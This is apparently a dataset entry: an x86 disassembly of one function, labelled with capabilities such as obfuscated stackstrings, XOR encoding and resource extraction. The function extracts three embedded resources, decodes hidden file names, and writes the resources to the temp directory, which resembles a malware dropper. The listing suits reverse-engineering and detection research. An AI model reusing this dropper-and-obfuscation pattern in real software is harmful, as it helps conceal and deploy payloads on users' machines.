Function at 0x100401d0
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Extract resource via kernel32 functions
Get common file path

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10088a50
mov eax, dword fs:[0]
push eax
sub esp, 0x31c
mov eax, dword [0x100b4540]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ebx, dword [sym.imp.KERNEL32.dll_GetModuleHandleExA]
lea eax, [ebp - 0x258]
push eax
push 0x10040850
push 4
mov dword [ebp - 0x258], 0
call ebx
push 0xff
push 0xfe
push dword [ebp - 0x258]
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov edi, eax
mov dword [ebp - 0x25c], 0
lea eax, [ebp - 0x25c]
push eax
push 0x10040850
push 4
call ebx
push edi
push dword [ebp - 0x25c]
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov esi, eax
mov dword [ebp - 0x260], 0
lea eax, [ebp - 0x260]
push eax
push 0x10040850
push 4
call ebx
push edi
push dword [ebp - 0x260]
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push esi
mov edi, eax
call dword [sym.imp.KERNEL32.dll_LockResource]
push 1
lea ecx, [ebp - 0x328]
mov esi, eax
call fcn.1003c5b0
lea eax, [ebp - 0x220]
mov dword [ebp - 4], 0
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
mov dword [ebp - 0x234], 0x39
mov eax, dword [ebp - 0x234]
xor al, 0x25
mov byte [ebp - 0x230], al
mov eax, dword [ebp - 0x234]
inc al
xor al, 0x73
mov byte [ebp - 0x22f], al
mov eax, dword [ebp - 0x234]
add al, 2
xor al, 0x51
mov byte [ebp - 0x22e], al
mov eax, dword [ebp - 0x234]
add al, 3
xor al, 0x54
mov byte [ebp - 0x22d], al
mov eax, dword [ebp - 0x234]
add al, 4
xor al, 0x52
mov byte [ebp - 0x22c], al
mov eax, dword [ebp - 0x234]
add al, 5
xor al, 0x53
mov byte [ebp - 0x22b], al
mov eax, dword [ebp - 0x234]
add al, 6
xor al, 0x43
mov byte [ebp - 0x22a], al
mov eax, dword [ebp - 0x234]
add al, 7
xor al, 0x43
mov byte [ebp - 0x229], al
mov eax, dword [ebp - 0x234]
add al, 8
xor al, 0x34
mov byte [ebp - 0x228], al
mov eax, dword [ebp - 0x234]
add al, 9
xor al, 0x34
mov byte [ebp - 0x227], al
mov eax, dword [ebp - 0x234]
add al, 0xa
xor al, 0x2e
mov byte [ebp - 0x226], al
mov eax, dword [ebp - 0x234]
add al, 0xb
xor al, 0x74
mov byte [ebp - 0x225], al
mov eax, dword [ebp - 0x234]
add al, 0xc
xor al, 0x6d
mov byte [ebp - 0x224], al
mov eax, dword [ebp - 0x234]
add al, 0xd
mov byte [ebp - 0x222], 0
xor al, 0x70
xor edx, edx
mov byte [ebp - 0x223], al
mov al, byte [ebp - 0x230]
nop
mov al, byte [ebp + edx - 0x230]
mov ecx, dword [ebp - 0x234]
add cl, dl
xor cl, al
mov byte [ebp + edx - 0x230], cl
inc edx
cmp edx, 0xe
jb 0x100403b0
lea eax, [ebp - 0x220]
mov byte [ebp - 0x222], 0
push eax
lea eax, [ebp - 0x230]
push eax
lea eax, [ebp - 0x118]
push eax
call fcn.1003c360
add esp, 0xc
lea eax, [ebp - 0x118]
lea ecx, [ebp - 0x328]
push 0x40
push 0x12
push eax
call fcn.10055890
cmp dword [ebp - 0x2d8], 0
je 0x1004042b
push 0
push edi
push esi
lea ecx, [ebp - 0x328]
call fcn.10027ed0
lea ecx, [ebp - 0x328]
call fcn.10043810
lea eax, [ebp - 0x264]
mov dword [ebp - 0x264], 0
push eax
push 0x10040850
push 4
call ebx
push 0xff
push 0xfd
push dword [ebp - 0x264]
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov edi, eax
mov dword [ebp - 0x268], 0
lea eax, [ebp - 0x268]
push eax
push 0x10040850
push 4
call ebx
push edi
push dword [ebp - 0x268]
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov esi, eax
mov dword [ebp - 0x26c], 0
lea eax, [ebp - 0x26c]
push eax
push 0x10040850
push 4
call ebx
push edi
push dword [ebp - 0x26c]
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push esi
mov edi, eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov byte [ebp - 0x244], 0x2a
mov esi, eax
mov byte [ebp - 0x243], 0x78
xor ecx, ecx
mov byte [ebp - 0x242], 0x56
mov byte [ebp - 0x241], 0x59
mov byte [ebp - 0x240], 0x57
mov byte [ebp - 0x23f], 0x58
mov byte [ebp - 0x23e], 0x48
mov byte [ebp - 0x23d], 0x48
mov byte [ebp - 0x23c], 0x39
mov byte [ebp - 0x23b], 0x3a
mov byte [ebp - 0x23a], 0x33
mov byte [ebp - 0x239], 0x79
mov byte [ebp - 0x238], 0x72
mov byte [ebp - 0x237], 0x75
mov byte [ebp - 0x236], 0
mov al, byte [ebp - 0x244]
nop dword [eax]
mov al, byte [ebp + ecx - 0x244]
sub al, 5
mov byte [ebp + ecx - 0x244], al
inc ecx
cmp ecx, 0xe
jb 0x10040530
lea eax, [ebp - 0x220]
push eax
lea eax, [ebp - 0x244]
push eax
lea eax, [ebp - 0x118]
push eax
call fcn.1003c360
add esp, 0xc
lea eax, [ebp - 0x118]
lea ecx, [ebp - 0x328]
push 0x40
push 0x12
push eax
call fcn.10055890
cmp dword [ebp - 0x2d8], 0
je 0x1004059c
push 0
push edi
push esi
lea ecx, [ebp - 0x328]
call fcn.10027ed0
lea ecx, [ebp - 0x328]
call fcn.10043810
lea eax, [ebp - 0x270]
mov dword [ebp - 0x270], 0
push eax
push 0x10040850
push 4
call ebx
push 0xff
push 0xfb
push dword [ebp - 0x270]
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov edi, eax
mov dword [ebp - 0x274], 0
lea eax, [ebp - 0x274]
push eax
push 0x10040850
push 4
call ebx
push edi
push dword [ebp - 0x274]
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov esi, eax
mov dword [ebp - 0x278], 0
lea eax, [ebp - 0x278]
push eax
push 0x10040850
push 4
call ebx
push edi
push dword [ebp - 0x278]
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push esi
mov edi, eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov byte [ebp - 0x254], 0x2c
mov esi, eax
mov byte [ebp - 0x253], 0x7a
mov byte [ebp - 0x252], 0x58
mov byte [ebp - 0x251], 0x5b
mov byte [ebp - 0x250], 0x59
mov byte [ebp - 0x24f], 0x5a
mov byte [ebp - 0x24e], 0x4a
mov byte [ebp - 0x24d], 0x4a
mov byte [ebp - 0x24c], 0x3b
mov byte [ebp - 0x24b], 0x3e
mov byte [ebp - 0x24a], 0x35
mov byte [ebp - 0x249], 0x7b
mov byte [ebp - 0x248], 0x74
mov byte [ebp - 0x247], 0x77
mov byte [ebp - 0x246], 0
mov al, byte [ebp - 0x254]
xor eax, eax
nop word [eax + eax]
mov cl, byte [ebp + eax - 0x254]
sub cl, 7
mov byte [ebp + eax - 0x254], cl
inc eax
cmp eax, 0xe
jb 0x100406a0
lea eax, [ebp - 0x220]
push eax
lea eax, [ebp - 0x254]
push eax
lea eax, [ebp - 0x118]
push eax
call fcn.1003c360
add esp, 0xc
lea eax, [ebp - 0x118]
lea ecx, [ebp - 0x328]
push 0x40
push 0x12
push eax
call fcn.10055890
cmp dword [ebp - 0x2d8], 0
je 0x1004071c
push 0
push edi
push esi
lea ecx, [ebp - 0x328]
call fcn.10027ed0
lea ecx, [ebp - 0x328]
call fcn.10043810
lea eax, [ebp - 0x118]
push eax
call fcn.100377b0
add esp, 4
mov eax, dword [ebp - 0x328]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_ofstream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x328]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x68]
mov dword [ebp + ecx - 0x32c], eax
lea ecx, [ebp - 0x324]
call fcn.10011030
mov eax, dword [ebp - 0x328]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_ostream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_ostream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x328]
mov ecx, dword [eax + 4]
lea eax, [ecx - 8]
mov dword [ebp + ecx - 0x32c], eax
lea eax, [ebp - 0x2c0]
mov dword [ebp - 4], 1
push eax
mov dword [ebp - method.std::ios_base.virtual_0], vtable.std::ios_base.0
call fcn.1005d85d
add esp, 4
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1005e15b
mov esp, ebp
pop ebp
ret